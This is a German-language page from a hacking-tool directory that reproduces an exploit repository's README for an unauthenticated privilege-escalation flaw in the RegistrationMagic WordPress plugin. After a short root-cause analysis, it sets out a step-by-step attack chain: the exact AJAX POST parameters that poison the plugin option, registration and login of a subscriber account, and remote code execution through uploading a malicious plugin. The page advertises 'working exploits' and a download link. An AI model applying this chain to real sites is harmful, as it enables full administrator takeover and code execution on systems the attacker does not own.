Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-15403 — RegistrationMagic <= 6.0.7.1 - Nicht authentifizierte Privilegienausweitung über admin_order | Kitploit
Tools/GitHubGitHub/nxploited/cve-2025-15403
Privilege EscalationSchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsRed TeamingPayload-Entwicklung
GitHubnxploited/cve-2025-15403

CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - Nicht authentifizierte Privilegienausweitung über admin_order

Repository anzeigen
14vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - Unberechtigte Privilegieneskalation via admin_order

 ,-. .   , ,--.     ,-.   ,-.  ,-.  ;--'      , ;--'   ,.  ,-.  ,--, 
/    |  /  |           ) /  /\    ) |        '| |     / | /  /\   /  
|    | /   |-   ---   /  | / |   /  `-.  ---  | `-.  '--| | / |  `.  
\    |/    |         /   \/  /  /      )      |    )    | \/  /    ) 
 `-' '     `--'     '--'  `-'  '--' `-'       ' `-'     '  `-'  `-'  

Telegram CVE CVSS Python License


📡 Die Intel wird hier zuerst abgeworfen. Folge @KNxploited auf Telegram – präzise CVE-Offenlegungen, funktionierende Exploits und tiefgehende Schwachstellenforschung. Der Kanal für diejenigen, die nicht auf die Nachrichten warten – sie machen sie.


🧠 Übersicht

CVE-2025-15403 ist eine CVSS 9.8 Kritische Privilegieneskalations-Schwachstelle im RegistrationMagic-Plugin für WordPress.

Der Fehler liegt in der add_menu-Funktion des Plugins, die ohne Authentifizierung über die AJAX-Aktion rm_user_exists freigelegt wird. Durch das Injizieren eines leeren Slugs in den order-Parameter zusammen mit dem Flag enable_admin_order=yes manipuliert ein Angreifer die interne Menü-Erstellungslogik des Plugins. Wenn das Admin-Menü anschließend aufgebaut wird, ruft das Plugin stillschweigend add_cap('manage_options') für die Zielrolle auf – und hebt jedes Abonnentenkonto auf vollständige Administratorrechte.

FeldDetails
CVE-IDCVE-2025-15403
PluginRegistrationMagic
Slugregistrationmagic / custom-registration-form-builder-with-submission-manager
Betroffene VersionenAlle Versionen bis einschließlich 6.0.7.1
SchwachstellentypUnberechtigte Privilegieneskalation
AngriffsvoraussetzungAJAX-Phase: Keine. Ausnutzung: Abonnenten-Konto
AngriffsvektorNetzwerk
CVSS 3.1-Score9.8 KRITISCH
CVSS-VektorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNAWordfence
AuswirkungVollständige WordPress-Administrator-Übernahme
ForscherNxploited

💀 Tiefergehende Schwachstellenanalyse

Die Ursache ist, dass die add_menu-Funktion ohne Authentifizierung über rm_user_exists erreichbar ist, kombiniert mit null Validierung des admin_order-Slugs:

// Registriert ohne Capability-Check
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);

public function rm_user_exists_handler() {
    $slug     = sanitize_text_field($_POST['rm_slug']);
    $order    = $_POST['order'];   // ← Benutzergesteuert, NICHT bereinigt
    $role_key = /* aus POST abgeleitet */;
    $enable   = $_POST['enable_admin_order'];

    if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
        // Speichert angreifergesteuerte Reihenfolge in Plugin-Optionen
        update_option('rm_admin_order', $order);  // z.B. ",menu1" → leerer erster Slug
    }
}

// Später, wenn das Admin-Menü erstellt wird...
public function add_menu() {
    $order = get_option('rm_admin_order');  // ← Vom Angreifer vergiftet
    $slugs = explode(',', $order);

    foreach ($slugs as $slug) {
        if (empty($slug)) {
            // Leerer Slug löst bedingungslose Berechtigungsvergabe aus
            $role->add_cap('manage_options');  // ← VOLLSTÄNDIGE ADMIN-BERECHTIGUNG HINZUGEFÜGT
        }
    }
}

Warum dies kritisch ist:

  • wp_ajax_nopriv_* = keine Authentifizierung erforderlich, um die Option zu vergiften
  • Leerer Slug in order=,menu1 erfüllt die empty()-Bedingung und löst add_cap('manage_options') aus
  • manage_options ist die höchste WordPress-Berechtigung – entspricht Administrator
  • Jedes vorhandene Abonnentenkonto erhält sofort volle Admin-Rechte beim nächsten Laden des Admin-Menüs
  • Die AJAX-Phase erfordert keine vorherige Authentifizierung – die gesamte Kette hat nahezu keine Hürde

⚔️ Exploit-Kette

╔══════════════════════════════════════════════════════════════════════════╗
║  STUFE 1 — Unauthentifizierte Optionen-Vergiftung                       ║
╚══════════════════════════════════════════════════════════════════════════╝

POST /wp-admin/admin-ajax.php

  action            = rm_user_exists
  rm_slug           = rm_options_admin_menu
  order             = ,menu1              ← leeres erstes Element = leerer Slug
  _Subscriber       = 1                  ← Zielrollen-Schlüssel
  restore           = false
  enable_admin_order= yes

Antwort: HTTP 200 (jede nicht blockierte Antwort = Option vergiftet)

  ↓ Plugin speichert order=",menu1" in wp_options
  ↓ Nächster Admin-Menü-Aufbau löst add_cap('manage_options') für die Abonnentenrolle aus

╔══════════════════════════════════════════════════════════════════════════╗
║  STUFE 2 — Kontoerwerb (Abonnent)                                       ║
╚══════════════════════════════════════════════════════════════════════════╝

Option A — Registrierung über das Registrierungsformular der Website (Modus 0):
  GET  /wp-login.php?action=register  → intelligente Formularerkennung
  POST → Abonnentenkonto erstellen
  Anmeldedaten: NXploited / xplpass123

Option B — Vorhandenes Abonnentenkonto verwenden.

╔══════════════════════════════════════════════════════════════════════════╗
║  STUFE 3 — Anmeldung + Berechtigungsernte                                ║
╚══════════════════════════════════════════════════════════════════════════╝

POST /wp-login.php
  log = NXploited
  pwd = xplpass123
  ↓
Abonnentenkonto besitzt nun manage_options → vollständiges Admin-Panel zugänglich

╔══════════════════════════════════════════════════════════════════════════╗
║  STUFE 4 — Tiefe Verifikation & RCE via Plugin-Upload                    ║
╚══════════════════════════════════════════════════════════════════════════╝

GET  /wp-admin/                          → Admin-Dashboard zugänglich ✔️
GET  /wp-admin/plugin-install.php        → Plugin-Installationsseite zugänglich ✔️
POST /wp-admin/update.php?action=upload-plugin
     pluginzip = Nxploited.zip           → Plugin hochgeladen und ausgeführt ✔️
GET  /wp-content/plugins/Nxploited/hello.php
     Antwort enthält "Nxploited"         → RCE BESTÄTIGT ✔️

🎯 Betriebsmodi

Dieses Exploit-Set bietet drei verschiedene Modi, die den gesamten Angriffslebenszyklus abdecken:

Tool herunterladen